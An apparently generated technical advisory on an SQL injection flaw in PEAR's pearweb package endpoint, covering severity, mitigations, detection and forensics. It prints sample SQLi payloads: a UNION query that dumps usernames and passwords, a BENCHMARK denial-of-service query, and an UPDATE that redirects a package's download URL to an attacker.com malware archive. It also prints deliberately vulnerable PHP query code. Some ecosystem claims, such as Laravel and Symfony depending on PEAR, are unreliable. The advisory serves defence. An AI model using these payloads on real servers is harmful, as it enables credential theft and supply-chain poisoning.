Description
PEAR is a framework and distribution system for reusable PHP components. Prior to version 1.33.0, an unauthenticated SQL injection in the /get/<package>/<version> endpoint allows remote attackers to execute arbitrary SQL via a crafted package version. This issue has been patched in version 1.33.0.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2026-5194 (CVE-2026-25241)
PEAR Framework SQL Injection Vulnerability (CVSS 9.3 Critical)
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
EUVD-2026-5194 (CVE-2026-25241) is a pre-authentication SQL injection (SQLi) vulnerability in the PEAR (PHP Extension and Application Repository) framework, specifically in the /get/<package>/<version> endpoint. The flaw allows remote, unauthenticated attackers to execute arbitrary SQL queries by manipulating the version parameter in HTTP requests.
CVSS 4.0 Severity Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the internet. |
| Attack Complexity (AC) | Low (L) | No special conditions required; straightforward exploitation. |
| Attack Requirements (AT) | None (N) | No prior access or user interaction needed. |
| Privileges Required (PR) | None (N) | No authentication required. |
| User Interaction (UI) | None (N) | No user action needed. |
| Vulnerable Component (VC) | High (H) | Direct impact on the PEAR package management system. |
| Integrity Impact (VI) | High (H) | Attackers can modify database records (e.g., package metadata, user data). |
| Availability Impact (VA) | High (H) | Potential for denial-of-service (DoS) via destructive SQL queries. |
| Subsequent Confidentiality (SC) | None (N) | No direct impact on confidentiality (unless sensitive data is exposed via SQLi). |
| Subsequent Integrity (SI) | None (N) | No secondary integrity impact beyond the initial SQLi. |
| Subsequent Availability (SA) | None (N) | No cascading availability impact. |
Base Score: 9.3 (Critical)
- The vulnerability is highly exploitable due to its pre-authentication nature and low attack complexity.
- The high impact on integrity and availability (VC:H/VI:H/VA:H) justifies the critical severity.
- While confidentiality impact (SC:N) is not explicitly rated as high, successful exploitation could still lead to data exfiltration if sensitive information (e.g., user credentials, API keys) is stored in the database.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Mechanism
The vulnerability arises from improper input sanitization in the /get/<package>/<version> endpoint, where the version parameter is directly interpolated into an SQL query without parameterized queries or proper escaping.
Proof-of-Concept (PoC) Exploitation
An attacker can craft a malicious HTTP request to trigger SQL injection:
GET /get/some_package/1.0.0' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- - HTTP/1.1
Host: pear.example.com
Possible Exploitation Scenarios:
- Data Exfiltration
- Extract sensitive information (e.g., user credentials, package metadata, API keys).
- Example:
UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM users-- -
- Database Manipulation
- Modify package metadata (e.g., altering download URLs to serve malicious packages).
- Example:
UPDATE packages SET download_url='http://attacker.com/malware.tgz' WHERE name='some_package'-- -
- Denial-of-Service (DoS)
- Execute resource-intensive queries (e.g.,
SELECT BENCHMARK(100000000,MD5(NOW()))).
- Execute resource-intensive queries (e.g.,
- Remote Code Execution (RCE) via Second-Order Attacks
- If PEAR stores executable PHP code in the database (e.g., dynamic package configurations), an attacker could inject malicious PHP and trigger execution via another endpoint.
Attack Surface & Delivery Methods
- Direct Exploitation: Attackers can target publicly accessible PEAR repositories.
- Supply Chain Attacks: Compromise legitimate PEAR packages to distribute malware.
- Phishing & Social Engineering: Trick developers into installing malicious packages via fake advisories.
3. Affected Systems & Software Versions
Vulnerable Software
- Product:
pearweb(PEAR’s web interface and package management system) - Vendor:
pear(PEAR Foundation) - Affected Versions: All versions prior to 1.33.0
- Patched Version: 1.33.0 (released February 3, 2026)
Impacted Environments
- PEAR Package Repositories: Public and private PEAR servers.
- Development Environments: Systems using PEAR for PHP dependency management.
- CI/CD Pipelines: Build systems that fetch packages from PEAR repositories.
- Web Applications: PHP applications relying on PEAR for package distribution.
4. Recommended Mitigation Strategies
Immediate Actions
- Upgrade to PEAR 1.33.0
- Apply the patch immediately to eliminate the SQL injection vector.
- Command:
pear upgrade pear/pearweb-1.33.0
- Temporary Workarounds (if patching is delayed)
- Input Validation & WAF Rules:
- Deploy a Web Application Firewall (WAF) (e.g., ModSecurity, Cloudflare) to block SQLi patterns.
- Example ModSecurity rule:
SecRule ARGS:/version/ "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection Attempt'"
- Network-Level Protections:
- Restrict access to the
/get/endpoint via IP whitelisting. - Disable PEAR’s web interface if not in use.
- Restrict access to the
- Database Hardening:
- Use a least-privilege database user for PEAR (avoid
rootoradminaccess). - Enable query logging to detect exploitation attempts.
- Use a least-privilege database user for PEAR (avoid
- Input Validation & WAF Rules:
Long-Term Security Measures
- Code Audits & Secure Development
- Conduct a full security review of PEAR’s codebase, focusing on:
- Parameterized queries (PDO, prepared statements).
- Input validation (whitelisting allowed characters in
version). - Output encoding to prevent XSS if data is reflected.
- Implement static application security testing (SAST) (e.g., SonarQube, PHPStan) in CI/CD.
- Conduct a full security review of PEAR’s codebase, focusing on:
- Dependency Management
- Monitor PEAR packages for malicious modifications (e.g., using
pear list-upgrades). - Use signed packages to ensure integrity.
- Monitor PEAR packages for malicious modifications (e.g., using
- Incident Response Planning
- Develop a playbook for SQLi incidents, including:
- Forensic analysis (database logs, web server logs).
- Containment (isolating affected systems).
- Recovery (restoring from backups, rotating credentials).
- Develop a playbook for SQLi incidents, including:
5. Impact on the European Cybersecurity Landscape
Regulatory & Compliance Implications
- NIS2 Directive (EU 2022/2555):
- Organizations operating critical infrastructure (e.g., energy, healthcare, finance) using PEAR may be in violation of Article 21 (Cybersecurity Risk Management) if they fail to patch.
- Article 23 (Incident Reporting) requires reporting of significant incidents (e.g., successful SQLi exploitation leading to data breaches).
- GDPR (EU 2016/679):
- If personal data (e.g., developer credentials, user emails) is exposed, organizations may face fines up to €20M or 4% of global revenue.
- DORA (Digital Operational Resilience Act):
- Financial entities must ensure third-party risk management (PEAR is a third-party dependency).
Threat Landscape & Attacker Motivations
- Supply Chain Attacks:
- PEAR is a trusted package manager, making it an attractive target for APT groups (e.g., APT29, Lazarus) to distribute backdoored packages.
- Cryptojacking & Malware Distribution:
- Attackers could replace legitimate packages with malware (e.g., XMRig miners, ransomware).
- Espionage & Data Theft:
- State-sponsored actors may exploit SQLi to steal proprietary PHP libraries or monitor development activities.
European-Specific Risks
- SMEs & Startups:
- Many European SMEs rely on open-source PHP frameworks (e.g., Symfony, Laravel) that depend on PEAR. A widespread exploit could disrupt digital services.
- Government & Public Sector:
- PEAR is used in legacy government systems (e.g., e-governance portals). A breach could lead to service outages or data leaks.
- Critical Infrastructure:
- Some industrial control systems (ICS) and healthcare applications use PHP-based management interfaces, increasing the risk of operational disruption.
6. Technical Details for Security Professionals
Root Cause Analysis
The vulnerability stems from improper SQL query construction in PEAR’s package retrieval logic. The /get/<package>/<version> endpoint dynamically builds SQL queries without:
- Parameterized queries (e.g., PDO prepared statements).
- Input sanitization (e.g.,
mysqli_real_escape_string()). - Output encoding (if results are reflected in responses).
Example Vulnerable Code (Hypothetical):
// Vulnerable SQL query construction
$package = $_GET['package'];
$version = $_GET['version'];
$query = "SELECT * FROM packages WHERE name = '$package' AND version = '$version'";
$result = mysqli_query($db, $query);
Attacker Input:
version = 1.0.0' UNION SELECT 1,2,username,password,5,6,7,8 FROM users-- -
Resulting Query:
SELECT * FROM packages WHERE name = 'some_package' AND version = '1.0.0'
UNION SELECT 1,2,username,password,5,6,7,8 FROM users-- -'
Exploitation Detection
- Log Analysis:
- Look for unusual SQL patterns in web server logs (e.g.,
UNION SELECT,DROP TABLE,INFORMATION_SCHEMA). - Example grep command:
grep -E "UNION.*SELECT|DROP TABLE|-- -" /var/log/apache2/access.log
- Look for unusual SQL patterns in web server logs (e.g.,
- Database Monitoring:
- Enable MySQL/MariaDB general query logs to detect suspicious queries.
- Example MySQL configuration:
general_log = 1 general_log_file = /var/log/mysql/mysql-query.log
- Network Traffic Analysis:
- Use Wireshark or Zeek (Bro) to detect SQLi payloads in HTTP traffic.
Forensic Investigation Steps
- Preserve Evidence:
- Take memory dumps (
LiME,Volatility) and disk images (dd,FTK Imager).
- Take memory dumps (
- Analyze Logs:
- Check web server logs (Apache/Nginx), database logs, and authentication logs.
- Database Forensics:
- Examine transaction logs for unauthorized modifications.
- Check for newly created users or modified permissions.
- Malware Analysis:
- If RCE was achieved, analyze dropped payloads (e.g., webshells, reverse shells).
Advanced Mitigation Techniques
- Runtime Application Self-Protection (RASP):
- Deploy PHP RASP solutions (e.g., Sqreen, Contrast Security) to block SQLi at runtime.
- Database Activity Monitoring (DAM):
- Use IBM Guardium or Oracle Audit Vault to detect anomalous queries.
- Zero Trust Architecture:
- Implement micro-segmentation to limit lateral movement if PEAR is compromised.
Conclusion & Recommendations
EUVD-2026-5194 (CVE-2026-25241) is a critical SQL injection vulnerability in PEAR with severe implications for European organizations. Given its pre-authentication nature and high exploitability, immediate patching is mandatory.
Key Takeaways for Security Teams:
✅ Patch Immediately: Upgrade to PEAR 1.33.0 without delay. ✅ Monitor for Exploitation: Deploy WAF rules and log analysis to detect attacks. ✅ Harden Database Access: Restrict PEAR’s database user permissions. ✅ Review Supply Chain Risks: Audit PEAR dependencies for malicious packages. ✅ Prepare for NIS2/GDPR Compliance: Ensure incident response plans are in place.
Failure to mitigate this vulnerability could lead to:
- Data breaches (GDPR violations).
- Supply chain attacks (malicious package distribution).
- Operational disruptions (DoS, RCE).
Next Steps:
- Conduct a vulnerability scan (e.g., Nessus, OpenVAS) to identify unpatched PEAR instances.
- Engage in threat hunting to detect post-exploitation activity.
- Educate developers on secure coding practices for PHP/SQL.
For further details, refer to the official advisory: 🔗 GitHub Security Advisory GHSA-63fv-vpq5-gv8p